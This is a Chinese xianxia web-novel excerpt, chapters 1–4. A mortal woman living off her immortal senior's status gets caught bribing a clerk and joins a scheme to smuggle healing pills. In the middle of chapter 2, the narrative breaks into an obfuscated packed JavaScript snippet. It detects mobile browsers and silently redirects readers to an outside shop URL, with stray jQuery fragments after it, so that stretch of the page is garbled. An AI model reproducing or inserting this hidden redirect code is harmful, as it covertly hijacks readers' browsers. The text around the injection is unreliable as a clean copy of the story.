《我能躺赢,全仰仗尾巴》 1. 第 1 章 我能躺赢,全仰仗我那位师兄——青莲仙人穆青。他当真称得上天纵奇才,仅用三十年便从一介凡胎修成仙道,一举跻身金珠阵列第六席。 如今在他之上的,不过十二玄珠仙、三位鸿珠仙,以及至高无上的仙界帝君——苍珠煌木。 眼下穆青正为更进一步奔波。今早天未亮,他就赶去黑雾崖采集圣桦琼浆,打算送给位列金珠第三席的萤火仙人宋莹,想趁机打探些十二玄珠仙的底细。 毕竟仙阶之位就那十二席,上面的仙人不退,底下的人又如何上进? 不过我对此并不挂心。靠着师兄的威名,我在这青莲琼池终日吃香喝辣,逍遥似神仙。自然,他越上进,我的日子便越好过,我自是举双手支持他晋升十二仙——但今天就算了。 昨夜我在山下同几个酒友喝得昏天暗地,至今脑仁仍突突作痛。 “照夜!你又把屋子弄得乱七八糟!师父到底几时才肯将你逐出师门!” 正在我屋里一边收拾一边发牢骚的丫头名叫牧狸。五年前拜入穆青门下,按辈分来说,除却上面两位师兄,她可算是众弟子中的大师姐。 这姑娘容貌出众,天资聪颖,唯独一点不好——太爱唠叨。 “是是是,我这就收拾……” 我真服了。 明明都已是有仙力的人,却偏还要我亲自动手整理房间,这与凡人何异? 哦对,我确实还是个凡人。 早在当年同穆青一起踏上修仙之路时,我便失了成仙的资格,再也无法驱动半分仙力,注定此生只能是个凡胎。 牧狸嘴上抱怨个不停,手上却一如既往地利落。她将我拽进琼池里里外外刷洗了一遍,终于舍得施了个小仙术,叫我湿漉漉的长发干得快些。她瞥了眼水镜中的我,语气装作不经意,打探起我昨日与人约酒的事。 无非是想探听萤火仙人门下大弟子飞逍订婚的传闻。 说起这位飞逍,那可真是俊美无双、风流倜傥,独门仙法“惊鸟决”的威力反倒成了最不值一提的优点。周遭十八山头的女弟子倾慕他的多如繁星,牧狸也是其中之一。 上次飞逍随萤火仙人来青莲琼池做客时,这丫头的眼睛可就没从他身上移开过。 你问我仙人也会动凡心么?当然会。不仅如此,仙人亦会谈婚论嫁、生儿育女——从这一点上说,他们与凡人并无不同。 毕竟所有仙人,无一例外,都曾是人。就连那位高居仙阙之巅的苍珠帝君煌木,最初也不过是个泯然众人的凡夫。 那你或许要问了,既然如此,仙凡之别意义何在?难道就只是寿数更长、能驱使仙力而已? 这同样曾是困扰我许久的问题。不过总纠结于此,未免也太无趣了些。 相比之下,我更好奇另一件事——为何魔族的繁衍能力,竟能远远超过仙人与凡人? 据说当年的魔皇阿戈里亚斯,曾在哭月台下清点自己到底有几个娃,整整点了十天仍未点完。据不完全统计,他那次清点出的后代就有一万四千八百八十七人。 而更荒谬的是,就在他点兵之时,第一万四千八百八十八个流着魔皇之血的孩子降生了。 这事至今仍是老百姓茶余饭后的笑谈。 不过比起这种“扔块石头都能砸中个魔皇后裔”的旧闻,人们显然更关心活了四百多岁却至今未娶、未有子嗣的仙帝煌木——到底何时才愿开枝散叶? 毕竟魔族覆灭已近百年,再有趣的陈年旧事,也早该嚼烂了。 要我说,这些老百姓就是太闲。他们的人君舒仲,恐怕也一样。 “大师姐,大师姐!昨天那老头又来了,这次赖在大门口说什么都不肯走!”刚入门的小圆气喘吁吁地跑来喊道。 看大门的工作显然被这执拗的老者搅得苦不堪言,他只好再来向大师姐求助。 牧狸一听,顿时柳眉倒竖,连给我编辫子的手都停了下来,袖子一挽就要冲出去。 我连忙拽住她的衣袖,笑道,“多大点事,今天辛苦你替我收拾,这老匹夫就交给我打发,算还你个人情!” “嘿嘿,还是照夜姐姐讲义气,不枉我平时总给你留门!” 牧狸仍有些犹豫,叮嘱道,“你客气些,别张牙舞爪的。万一叫人以为咱们青莲山都是无礼之徒,传到师父耳朵里就不好了——他马上就要参加玄珠进阶大会,可不能在这种时候坏了名声。” 我拍着胸脯保证,“我办事你放心,绝对客客气气‘请’他出去。” 匆忙赶至山门,果然看见那白胡子老头摇着蒲扇坐在门前,正游说一个守门小童给他端茶解渴。他身旁还立着一位身材挺拔、劲健清朗的年轻人,倒是个陌生面孔。 “谷阿翁,怎么又是你?好话说尽你不听,非逼我动手是吧?” “哟哟哟,这不是照夜小友嘛?失敬,失敬~” 小圆一脸困惑地看着我,“姐姐,你们认识?” “她是我师父的故交。”那年轻人忽然淡淡开口,语气里带着一丝嘲弄,“哼,连杯茶都舍不得招待,薄情寡义。” 我连忙扑上前捂住他的嘴,一边朝小圆挤出笑容,“这二位我 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那年轻男子顿时瞪圆了眼,指节捏得咔咔作响,眼看就要发作,却被谷阿翁一把拦住,“快得了吧!你师兄那些仙丹如今在市场上根本卖不出价。这年头流行的是美颜健体丹,谁还稀罕什么静心养胃丹?劝最好劝他换个配方,不然别说晋级玄珠仙了,怕是连现在的金珠位阶都保不住。到时候,你这躺赢的好日子,可就到头喽!” 我眯起眼睛,仔细打量着谷阿翁红润的面容。 这老滑头三十年前还是个中年人,我和穆青尚是凡人时就与他相识。他常年游走仙凡两界,倒腾些市面上见不得光的小玩意,有些性价比倒还真不错,我们也没少跟他打交道。 穆青如何晋升金珠仙的过程他一清二楚——那可不是什么光彩事。 仙界晋升除了比拼仙力,还要考察支持度、门徒质量、仙门营收和两界口碑。当年若不是靠谷阿翁走了些偏门,帮我们买来额外支持率,穆青也不可能以微弱优势战胜现在的银珠仙首席——赤浪仙人赤羽。 “行了行了,要查就查吧。”我摆摆手,“统计人口这种小事,我还是能做主的。” 谷阿翁顿时笑逐颜开,得意地对身旁的年轻人说,“小晟啊,瞧见没?做思想工作就得软硬兼施,直击要害,让对方没法拒绝。这招百试百灵!” 我拍拍衣裳起身,嘟囔道,“查完赶紧走人,我师兄最讨厌喧闹。” 那名唤小晟的男子皮笑肉不笑地嗤了一声,“怪不得外界都戏称他为‘静心仙人’——静心不静心,仙人不仙人。” “管好你的舌头!”我立刻瞪了回去,“对付你,我照夜动动小指头就能把你大卸八块!” 2. 第 2 章 小晟闻言顿时噤声,想来他还没从谷阿翁那儿摸清我的底细,误以为我是穆青座下什么深藏不露的悍将。 说来也是,穆青即便再年轻、资历再浅,当年讨伐岁兽妖时以一敌百的英姿至今仍为人称道。至少在战力这一块,他能位列金珠第六席,确实是实至名归、无可指摘。 我向牧狸解释了谷阿翁师徒的来意,她虽面露不悦,却终究没再阻拦。 毕竟距仙门口碑榜更新只剩两个月,青莲山再怎么也得维持现有排位,绝不能跌到赤羽门之后,沦为世人笑柄。 想到这儿,我不由得忧心忡忡。 原以为修仙是为图个清闲自在,谁知仍是一堆俗务缠身。若穆青地位不保,我还有什么逍遥日子可过?别说躺赢了,怕是又得滚回山下小酒馆端盘子洗碗。 一股前所未有的紧迫感骤然袭来。 我当即决定亲自跑一趟仙界都城——灵璧城,探探青莲山如今的口碑风向。 刚要动身,小圆却跟了上来,满脸歉意地说,因我先前交代不回来用饭,灶上就没留我的份,加上又招待了两位外客,实在匀不出饭菜了。 末了他还贴心地补了句,“姐姐随便去哪儿蹭一顿吧”。 我摇头失笑。 如今青莲山开支吃紧,小圆身兼守门与厨子二职已属不易,我又怎忍心怪他说话太直? 也罢,起码他知道我走到哪儿都饿不着,倒也算一种另类的体贴。 青莲山距灵璧城颇远,乘飞兽需两个时辰。 我的专属坐骑“枞”,是穆青晋位金珠仙时特地从长烬海窟为我擒来的。 这飞兽乃妖兽中性情最温顺的一类,服从性极高,是仙界最普遍的代步工具。 当然,对那些仙力充沛的上仙来说,出行方式就花样百出了,有乘扇御剑的,有腾云驾雾的,更有奢侈到动用万界门随意穿梭的——据说仙帝煌木的座驾,乃是一头上古神兽鱼龙,其形如巨鲤,尾鳍舒展时若芙蓉绽放,华美不可方物。 再说灵璧城。 这座悬浮于笔柱山之上的空中城池,相传全凭煌木以无穷仙力维系不坠。城中溪流交错,亭台楼阁鳞次栉比。外人欲入城内,须经云南门登记,并烙上“云南印”。 身为鸿珠位阶之一的百目仙人能凭此印感知所有入城者的行迹——整座灵璧城的守备重任,便由她一肩承担。 行至云南门前,我不由有些踌躇。 上次在仙碑司打探消息碰了一鼻子灰的经历还历历在目——那帮人办事一丝不苟、油盐不进,任我软磨硬泡,回应永远只有冷冰冰的三个字,“走程序”。 但事已至此,硬着头皮也得再试一次。若这回青莲门排名当真靠后,说不得又得请谷阿翁“上点手段”,好歹先帮穆青稳住金珠位阶再说。 仙碑司内人头攒动,前来办理仙籍的人络绎不绝。中央大厅的雾屏上不断刷新着各项事务的处理进度。 说来入仙籍倒不算难事,只需拜入仙人门下,或持仙人写封推荐信即可。一旦入籍,便可受苍珠仙帝庇佑,“长生”无恙。 但代价呢?没错——征召临头时,必须应召出战,否则便会被炼化为飞灰。 好不容易轮到我办理业务,老熟人、第三十二号仙吏禄昌一瞧又是我,白眼都快翻到天上。 见我满脸堆笑凑上前,他早对我此番来意心知肚明。 有一搭没一搭地同我寒暄,禄昌的手指却在面前雾屏上飞快滑动。他每日经手事务繁多,显然没多少耐心敷衍我,就等我话音一落,再甩出那句“走程序”。 不过今日我可是有备而来。 我谄媚地捧出今早穆青所采、仅剩的一小瓶的圣桦琼浆,凑到禄昌鼻尖下,他那双恹恹无神的眼睛蓦地一亮。 轻咳一声,他不动声色地将琉璃小瓶纳入袖中,压低声音道,“照夜啊,原则上口碑榜未正式发布前一律保密,这你是知道的——百目仙人可都盯着呢。不过嘛……这么说吧,但凡未公开的排名,那公平性都得打个问号。其次,青莲仙人最近可是觐见了仙帝,口碑不会差,明白我的意思么。” “哎哟哟,明白,明白!禄昌大人果真洞若观火、见微知著!多谢多谢!这圣桦琼浆是今早新采的,您千万收下!” 禄昌面露得色,刚要再享受两句奉承,脸色却陡然一变,不由自主地躬身低头—— “照夜,贿赂仙吏可是违反仙规的大忌。怎么,你们二位是想一同脱仙籍了不成?” 禄昌大惊失色,慌忙将还没捂热的琉璃瓶捧出来,脸色灰白,“赤、赤浪仙人恕罪!卑职再也不敢了!” 我抬眼一看,真是冤家路窄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549468|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一身赤金长袍,黑发赤瞳的男人冷冷瞥我一眼,扬了扬下巴示意禄昌退下。 赤羽——穆青当年的手下败将,如今银珠仙首席。高大的身影俯视着我,细细打量,见我仍不服气地瞪着他,竟放缓了语气。 “放心,我不会将你的罪证交出去。照夜,我劝过你多次,离开穆青。你该听劝的。” 随他一同走出仙碑司,我们在流仙树下寻了处僻静角落。 赤羽指间微动,布下一层仙力屏障,暂可避开百目仙人的监察。 一时间相顾无言。 距我同赤羽上一次见面,已过去整整十年。 自穆青在进阶大会上击败他后,我们便再未私下相见——尽管我们曾经,是无话不说的酒友。 心中不免有些感慨。曾经的赤羽潇洒豪爽,仙凡两界皆有交游,朋友遍布天下。可自败于穆青之后,他就像变了个人,戒了酒,避不见客,终日只沉心于一事——磨砺仙能,提升修为。 仙能进境之路从来不易。凡人需先开灵关窍,方能引仙力入体、运转周天。而后不断修行,才可使仙力愈发凝练醇熟。 但仙力并非源自体内,而是充盈两界、无处不在。肉身,说到底不过是调用仙力的一座媒介。 昔年魔族与仙人之争,根源就在于二者运用仙力的方式迥异。魔族将仙力储于一种称为“熠石”的异宝中加以使用,而仙人则主张提升自身境界,与天地仙力合而为一,追寻天人交感、万物归真的境界。 理念之差,最终引发了一场持续十年的仙魔大战。 彼时天地倾颓,万物隳损,幸得仙帝煌木力挽狂澜,击退魔族,两界方重归安宁。 要我说,天地间仙力充沛、取之不竭,又何必拘于形式之纷争? 像我这样逍遥躺平,不好吗? 可赤羽的理念与我不同,他想更进一步位列金珠阵列,并且一步步向上爬,他需要打败穆青以及他身后的众多仙人。 “照夜,穆青已经不是你所认识的穆青了,尽快离开他,如果你需要庇护,我也可以,就像我从前承诺你的那样。” “他到底哪里变了你也不说,小青正常得很。” “我不能说。除非我有足够的证据。” “神神秘秘,遮遮掩掩,我照夜不需要你的庇护,告辞!” 3. 第 3 章 这时,屏蔽罩忽然传来一阵轻微的晃动,仿佛在无声地宣告百目仙人已察觉此处的异常。 我正欲抽身离去,却见赤羽掌心骤然翻涌出炽烈的仙力,凝成一道赤色狂浪,在屏障破裂的瞬间直扑来人—— 刹那间,青莲绽开,重莲百瓣如利齿合拢,一口吞没了那如火如浪的仙力。 两股力量撞击、溶解、最终消散于无形。 身着青色长衫的男人自半空中缓步走下,脚下叠开的花瓣成了他的阶梯。他眉峰紧蹙,神情冷峻,径直走向我与赤羽。 “赤浪,为何将照夜诱至此处?” “……不过旧友相逢,闲谈几句罢了。告辞。” 像是做坏事被当场逮个正着,我心头微紧,连忙跟上穆青离开仙碑司。 一路无言,我东拉西扯说了半晌,他只字未答,最终我也只得讪讪闭嘴。 自云南门而出,穆青轻抚着枞的羽翼,终于开口。 “你们谈了什么,照夜。” 我曾发誓对他永远坦诚,绝不隐瞒。以此换他许我在他羽翼之下躺平度日,永享安宁。自小相识至如今,我一直恪守承诺,他亦然。 “圣桦琼浆我特地留了一瓶给你强身健体用,你倒拿去行贿……”他淡淡瞥我一眼,“还是为些不值得你操心的小事。铺张浪费,下不为例。” 平日与穆青同乘,我总是更喜欢窝在枞的背上——他那瓣青莲坐骑虽雅,却不如枞的羽毛柔软舒适,坐久了臀下生风,实在不算惬意。 “赤羽说你变了,”我凑近他些,压低声音,“你哪里变了,告诉我呗。” “……他不也变了?变得功利、极端、暴躁。”穆青语气平淡,“下次见面,你不妨向他好好推销推销咱们的静心养胃丹。” 一层浅薄的仙障隔开冷风流云,我忍不住在空中放声大笑,“说好我躺平就成,如今又指使我干这干那?少来这套。” 耳边传来几不可闻的低笑。穆青伸手揽住我的腰,声音忽然沉了下来。 “照夜,若再给你一次机会……你还会陪我去参加入仙试炼么?” 他稍作停顿,又道,“或许当初在小苹村,以凡人身份平淡度日,也不错。” 我顿时察觉他情绪有异,立即示意枞降落。 我们停在一处山巅之上。眼前是一片无垠的林海,名为“慰林渊”,乃金珠位阶碧叶仙人的领地。 为祭奠亡夫,她在此深渊中种满仙力充沛的鸳鸯树。每至满月,渊中便绽开洁白的灵花,蕴藏着丰盈仙力,是润颜美容的圣品。 碧叶仙人也借此积累惊人财富,成为十二金珠仙中最有钱的一位。 “发生什么事了,小青?”我轻声问,“你清晨不是去找宋莹了吗,怎会突然来到灵璧城?” 穆青神色凝重,低声道,“岁兽妖又现世了。这一只……比十年前那只更庞大、更凶残。” 见我瞳孔骤缩,他继续道,“本次进阶大会,将以捕杀岁兽妖为试炼,决出新任十二金珠仙。” “你担心自己守不住位阶?”我试着让语气轻松些,“就算跌至银珠也没关系,大不了不做这仙人了。我们回小苹村去,就像小时候说的那样,开个小茶铺,平平淡淡过日子。”我笑着戳戳他手臂,“但你说好的,脏活累活都归你——我只管躺着混日子。” 穆青注视着我,眼底终于漾开一丝温软的光。他抬手揉了揉我的头发,唇角微扬,“好,一言为定。” 岁兽妖重现人世的消息,并未在我生活中掀起太大波澜。 仙帝既决定以猎杀它作为十二金珠仙的认定之资,想必金珠位阶的仙人已足够对付这种来自长烬海的妖兽。 长烬海曾是魔族的领地,九十八年前那场大战之后,化作万里焦土。厚厚的灰烬至今覆盖着荒芜的土地,而各类妖兽盘踞在这片混沌地带,仿佛仍在等待继承魔皇血脉的子嗣再度归来。 讨伐之期定于两月之后。 在此之前,穆青需潜入青莲琼池底的秘洞闭关修炼,牧狸则召集青莲门所有弟子,紧锣密鼓筹备出征——似乎全然将还在忙着人口普查的谷阿翁和小晟抛在了脑后。 穆青从不允许我踏足战场。我无法操纵仙力,若遇危险,弹指间便会灰飞烟灭。与其如此,不如安分守在青莲山,静候他凯旋。 历经七日清点,谷阿翁得出一个结论,以青莲山目前仅有的二十三名弟子,不仅在十二金珠仙中垫底,更糟糕的是,他随后告诉我一个令人瞠目的秘密——其中七八名弟子已准备转投赤浪仙人门下。 看来众人早已暗自为此次征伐岁兽妖的结果押下了注码。 我虽对这些朝秦暮楚之徒颇为不满,但穆青曾劝我不必挂心。他一心只求进阶三鸿珠之位,门派兴衰,与他无关。 话既至此,我又何须操心?安心躺赢便是。 与谷阿翁在青莲山脚下的小镇分别时,这老头一听岁兽妖再现,顿时热情邀我饮酒吃饭。他那点心思岂能瞒过我?无非是想从我这儿套些情报,好多做一手准备。 出征在即,疗伤丹药的需求必将大涨,趁乱摸鱼赚上一笔,向来是他的生存之道。 “仙魔大战已过去九十八年,岁兽妖不会无故现世……会不会是什么征兆?” 清风酒家的杨梅酿是我最爱,酸甜中略带一丝涩意,最适合夏日细品。 我美滋滋地啜了一小口,“你不会想说魔族要卷土重来了吧?怎么可能。仙帝布下结界,稍有异动,百目仙人第一个就会察觉。” 一直埋头吃饭的小晟忽然插嘴,“不好说。魔皇有一万四千八百八十八个子嗣,有流落人间的也未可知。说不定哪天,真有一个能破开仙帝结界,带领魔族重返三界。” “那倒有可能。一万多个娃,总该出一两个有本事的,不然也太逊了,总不能只赢在数量上。” 谷阿翁闻言哈哈大笑,“咱们管不了那么多!老规矩——乱世摸鱼,两头吃赚。赚钱才是正经!管他仙帝、人君还是魔皇统治天下,小民苟且偷生就成。”说着,他拍拍我的肩,眼珠滴溜一转,鬼主意脱口而出,“照夜,知道你和赤浪仙人是旧交。他岛上的浮沤花疗伤效果最好,你去讨一些,咱们做成药丸去前线悄悄贩售……到时候五五分,怎么样?” 我吓得连忙捂住他的嘴,谨慎地四下张望,压低声音道,“你不要命啦?你又没入仙籍,还归人君管,私贩伤药可是大忌!跟皇亲国戚抢生意,你有几个脑袋?” “这不才要靠你嘛!你是仙籍,行事方便得多。要不六四分成?别说老友不照顾你——你只负责弄来浮沤花,其余交给我办。” 小晟瞥了我一眼,依旧那副似笑非笑的表情,“师父手里还有两张万界门卷轴。他只要四成,不算多。你还是躺赢。” 好吧,只要是躺赢我就干。 我的小金库正需要新鲜血液,即便日后穆青不再做这仙人,我们也总得有条退路可走。虽然不知他为何执着于晋升鸿珠仙位,但只要是他想做的事,我总会无条件支持。 当下便决定兵分两路,谷阿翁需返回人界都城月下州,向上官呈报此次人口普查的结果;而我则与小晟同行,前往赤浪仙人所在的浮沤岛,讨些品质上佳的浮沤花。 为免走漏风声,我不便带上青莲门下其他弟子——这次行动,终究是要瞒着穆青和牧狸的。小晟虽仍是凡籍,却早已开启灵关窍,能熟练运转仙力,算半个预备仙徒,护我周全绰绰有余。 听说我要去浮沤岛,牧狸果然面露不悦,埋怨众人皆在为师尊忧心备战,唯我“不务正业”。我反驳得理直气壮,其一,穆青并非我师,无需我操心他的仙途;其二,正是穆青亲口嘱咐,要我多去赤浪仙人那儿“走动关系”,兜售静心养胃丸,补贴门派用度。 深知青莲门眼下境况的牧狸,最终也无话可说,只叮嘱我办完事尽早归来,莫误了为穆青送行。 我装好一整盒静心养胃丸,骑上枞赶赴与小晟约定的碰面地点。 夕阳西下,我在青莲镇旁的溪流边找到了他——年轻人嘴里咬着一根杂草,闲闲倚在垂松下,几个村童正围着他嬉闹问话。 落日余晖拂过他深黑色的眼眸,竟为这张脸平添了几分说不清的忧郁。 “怎么,一直盯着我的脸看?” 我用两颗糖哄走了小朋友,转头问他,“你叫什么名字?” “就叫小晟。师父取的名字,我是个孤儿。” 天色尚余微光,我们决定趁夜彻底降临前赶往浮沤岛。 枞对这条路线早已熟悉——毕竟十几年前,我常往来于此。 远方夕阳如烧,夏风温热,黑暗降临前的宁静仿佛无声地预兆着什么。 赤羽还算讲义气。虽日间与穆青对峙心中不快,仍依礼接待了我。听我说明来 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气氛陡然绷紧,我连忙插到二人之间,堆起笑容打圆场,“刚认识的朋友罢了。赤羽,我觉得这提议不错,既然小晟有信心取来鳞片,你何不试试他的身手?反正闲着也是闲着。” 果然,赤羽点头应允。 我太清楚他的性子——他最厌恶的,就是不知天高地厚、莽撞无礼之徒,而小晟恰好触到了这点。 更何况,我也许久未见渊口鱼了,实在好似这小鱼鱼长多大了,十年前它刚孵化时,才不过一人长短。 只见小晟目光一凛,周身弥漫起黑色仙气,如雾似烟迅速扩散,隐隐透出令人心悸的气息,逼得周遭之人不由退后几步。 赤羽见状,立即带我腾空跃起,稳稳落于一株巨大的浮沤树上。 此时湖面骤然沸腾,赤浪翻涌,中央形成一道深幽漩涡。蓦地,一条遍体赤红、鳞间流转幽光的大嘴巨鱼跃水而出,摆尾间掀起滔天巨浪,如暴雨倾泻而下。 我猝不及防,被浇得浑身湿透,却顾不得贴在额前的乱发——目光急急搜寻,竟难以捕捉小晟的身影。 那缕黑雾已融于夜色,无声无息。 渊口鱼张开血盆大口,猛然咬向月光下的一处黑影——我这才看清小晟的位置。 他凌空立于月下,双拳缠绕仙力,以雷霆之势向鱼首挥出一击。尖啸撕裂空气,竟留下一道白痕。 只听渊口鱼发出一声低沉呜咽,砰然坠回漩涡之中。 “糟了!不会把鱼打死了吧?” 赤羽却放声大笑,“死不了,它皮糙肉厚得很。只不过生性温顺,这一吓,怕是要躲进水底一阵子不敢露面了。” 小晟毫不犹豫追入水中,看来不取得鳞片誓不罢休。 待他间隙,我忍不住再次问赤羽,“你说小青变了,小青却说变的是你。你们之间究竟有什么过节不能告诉我?叫我夹在中间左右为难。” 赤羽冷哼一声,仙力一荡,湖面应声分开,现出湖底深坑中无数闪烁的鳞片。 此时小晟已掠回我们身边,臂下夹着两片红光流转的鱼鳞。 “没什么深仇大恨,”赤羽语气淡漠,“我只是厌恶他的专横霸道——因他不肯将你嫁我,如此而已。” 这话犹如晴天霹雳。 我怔怔望向他侧脸,失声道,“你发什么疯?我们是朋友,你怎么能……” “放心,”赤羽拂袖转身,看都未看我一眼,声音从渐逝的身影后冷冷传来,“如今我已对你没了兴趣。而你我也早不是朋友。” 小晟默默将泛着红光的鱼鳞包好,抬眼看了看我阴沉的表情,淡淡问,“怎么?老相好重逢却未续前缘,失望了?” “什么老相好!他是我的朋友!” 他将鳞片缚在枞的背上,竟抢先一步骑了上去,轻嗤一声,“快拉倒吧,男人成仙了也是男人,一辈子除了追求更强就只想着男女那档子事儿,没有例外。” 心情有些糟糕,我没心思理会小晟的揶揄。 我从不知道赤羽想娶我的事儿,穆青自作主张回绝了他,二人也因此生出罅隙。 说起来我今年已经四十八岁了,虽然入了仙籍可维持外貌不老,但时间却会在肉眼看不到的地方留下痕迹,别说嫁人了,我现在已经没有世俗的想法,只想躺着过几年舒坦日子。 4. 第 4 章 回到青莲镇后,小晟寻了一处僻静山洞,提前开始制备药丸。 我整日无所事事,瞧着他忙前忙后,心里却仍因赤羽那番话郁结难解。本想找机会修补关系,如今看来,怕是只能老死不相往来了。 穆青说得没错,我果然是个遇事只想逃避的缩头龟。 时光飞逝,转眼距出征讨伐岁兽妖只剩三天。 谷阿翁交完公差也赶来帮忙,这一老一少整天哼哧哼哧地磨着鱼鳞,提取当中蕴藏的浮沤灵韵。连日的劳累让两人眼下都泛了青黑。 我不好继续当甩手掌柜,便就地支锅炖鱼,聊表慰劳之意。 可惜他们连日被鱼腥熏透了,如今就连看我喝汤都忍不住反胃。 “嘴上说是犒劳我们,三条肥鱼倒被你一个人吃得干干净净。” 相处这些时日,我也算摸清了小晟的性子——就是个爱发牢骚、专会找茬的家伙,绝不是我喜欢的类型。 “下次,下次一定给你们做翡翠珍珠圆子!啧啧,那滋味……我保证月下州最大酒家的掌厨都赶不上。” “你去过月下州?” “那是自然,”谷阿翁接过话头,仰头灌了一口葫芦里的酒,“照夜当年可在月下州混过好些日子。毕竟参加入仙试炼也得攒盘缠呐!如今的试炼门槛越来越高,仙人们又住得偏远,没钱连路都找不着。”他长叹一声,又道,“人君还格外重用懂仙术的人,这些年年轻人对修仙趋之若鹜。要我说,凡人简直没有存在的必要了。说到底……不过是炼丹剩下的废渣罢了。” 小晟啃着半张饼,目光低垂,望着跃动的火苗轻声道,“若没了这废渣,仙人又何人来供养?真是食尽天下甘露,尽显贪婪之态。” “好了好了,有工夫发牢骚不如赶紧赶工制药。” 二人不再多言,匆匆吃完便又继续忙碌。 这几日我未曾回青莲山,牧狸也无暇过问——她正忙于收拾行装,压根顾不上理我。 说起来,门中大师兄王小二虽资历最老,论能力和悟性却远不及晚入门的弟子。一应事务都交由牧狸打理,这丫头确实能干。 出征前日,穆青终于出关。他眉间阴郁,看来此次闭关并未突破修为。 饯行宴上他始终心神不宁,对弟子们的议论喧哗毫无反应。 “照夜,我不在时别乱跑,灵璧城和月下州都不准去。若不听话,我便没收枞。” “……你最近有些奇怪,是不是发生了什么事?” 穆青轻晃杯中酒,薄唇紧抿,默不作声。 我将他垂落胸前的长发拢到肩后,凑近了些压低声音又问,“小青,你最近不开心……是不是遇上了什么难题?我虽帮不上忙,但至少愿意听你说。” 他温热的手指自我脸颊抚至脑后,喉结轻轻滚动,声音低哑,“照夜,我梦到你死了。” 这一晚,空气中仿佛弥漫着无形的伤感。即便我努力岔开话题、千方百计想逗穆青开心,他却始终难以舒展眉头。 次日清晨,鸿珠位阶的“十身仙人”虚像自高空浮现,俯瞰整个仙界,代为宣示仙帝出征诏令。浩浩荡荡的仙军向西进发,即将跨越人界,三日之后抵达长烬海战场。 临别之际,穆青依旧神色凝重,最终只化作一声沉沉的叹息,挥手打开了万界门。 本就寂静的青莲山愈发空寥。 我心情低落,只想窝在房里蒙头大睡,却见小圆匆匆来报——谷阿翁与小晟正在山下等候。 一听我打起退堂鼓,谷阿翁气得吹胡子瞪眼。 小晟倒是面色不改,淡淡讥讽道,“不知道的,还以为青莲仙人是你爹。这不准那不让,不如干脆给你脖子上拴根绳算了。” “你这家伙……迟早有一天,我要把你的舌头扯出来缠你自己脖子上,看你还能不能说句人话!” “别吵别吵,和气生财,和气生财。”谷阿翁忙捻须打圆场,“照夜,你刚说青莲仙人梦到你遭遇不测,所以才不敢出门,是么?” “小心才能驶得万年船。我好不容易靠着小青的关系混个仙籍,能活两百岁呢,少一年都觉得亏!” “金珠仙位中有一位‘灵枢仙人’,她有一面梦池灵镜,专司解析梦境、占卜吉凶。恰巧我与她有些交情,事成之后,不如带你去试上一试,也好让青莲仙人安心。”谷阿翁顿了顿,摇头笑道,“不过话说回来,怎么成了仙还会被乱七八糟的梦困扰?梦这东西,哪能当真!” “要我说,静心仙人就是太闲了,赶紧娶妻生子,就没空整天惦记她了。” 眼看气氛又僵,谷阿翁赶紧瞪了小晟一眼,“你少说两句。” “行吧,一言为定。不过这次你们得保护好我,要是磕了碰了,小青肯定找你们算账。” 小晟的白眼都快翻到天上去,干脆扭过头懒得理我。 后山处,谷阿翁展开万界门卷轴。 不一会儿,仙门舒展而开,中央仙力扭曲成漩涡光晕,只看一眼就叫人头晕目眩。我们没有多话,一行三人径直踏入其中,朝西方而去。 魔界与人界原本以长烬海为界。和平年间旅船如织,两岸往来频繁,海边也因此形成繁华地带,人魔杂居,日子还算太平。 直至百年前,因魔族滥用熠石引来仙界干预,双方爆发大战。尽管魔族的映山化作焦土、长烬海彻底枯竭,但海边的刃柱城却奇迹般地存续下来,至今依旧兴盛。 万界门将三天的路程缩短为一个时辰。 刚一抵达刃柱城,眼前的景象便让我目瞪口呆——这里的喧闹与繁华远超我的想象。三教九流在此交易流转,甚至不乏铤而走险从事非法勾当之徒。只不过官府大多睁一只眼闭一只眼,只要不闹出大事,便可相安无事。 谷阿翁显然是这里的常客,甚至有一处固定的小窝点用以歇脚。 我怕穆青发现我私自离开青莲山后会大发雷霆,只得连连催促谷阿翁尽快联系买家,早日完成交易。 这天傍晚,人君舒仲派遣前来观战的贵客终于抵达。他们在瑶扇仙人的法器“扇上城”觐见了鸿珠仙人——那片浅粉色的空中堡垒自如移动,堪称出行在外的绝佳伴侣,吃喝起居无一不便,舒适度无可挑剔。 自然,这般待遇向来只属于十二玄珠仙、三鸿珠仙与仙帝,如今又多了一位观礼的贵宾。 趁谷阿翁和小晟外出,我溜去附近的食铺买些吃的,恰好听见有人谈论岁兽妖的踪迹。那庞然巨兽已数次现身,却总在距刃柱城三十里外止步——因仙帝所布结界难以突破。 我正听得入神,远方蓦地传来一声沉闷而绵长的低鸣,大地随之震颤。 人群顿时惊惶四散,纷纷涌向屋外、奔向高处。 “岁妖兽来了!岁妖兽来了!”呼喊声此起彼伏。 我也被人流裹挟着冲至半山。但见黑云之下,一头巨兽正蠕动它肥硕如山的身躯,四足如柱,长尾布满利刃,每一步都撼动大地——咚,咚,咚咚,一如我狂跳不止的心。 穆青要迎战的,竟是这样的妖兽? 岁兽妖仰首向扇上城发出一声歇斯底里的嘶吼,劲风迎面扑来,几乎将人掀翻。我死死抱住一棵枯树,才勉强在狂风中站稳。 就在这时,十身仙人的虚像再度显现,于大军未至之际代仙帝宣告,狩妖之战,正式开始。 数道金光自刃柱城四面八方跃起,疾赴战场。我心跳如擂,心中反复默念,小青,你绝不能有事…… “喂!你怎么在这儿?” 突然有人一把按住我的肩膀。 周遭一片喧嚣,小晟不得不凑近我耳边喊道,“走!师傅说下家没来!” “他这样的老狐狸也会失算?” 小晟拽住我的手臂,神色紧张地向山下疾行,“别多问,出大事了!” 我很快便明白所谓“大事”是什么——整座城突然陷入混乱,凡人士兵正挨家挨户催促百姓撤离避难。 不等我们跑回驻地,天色骤暗。我回头望去,只见那头巨兽竟已逼至刃柱城上空!它张开血盆巨口,眼看便要吞没整座扇上城…… 刹那间,万籁俱寂,我只听得见自己急促的呼吸。 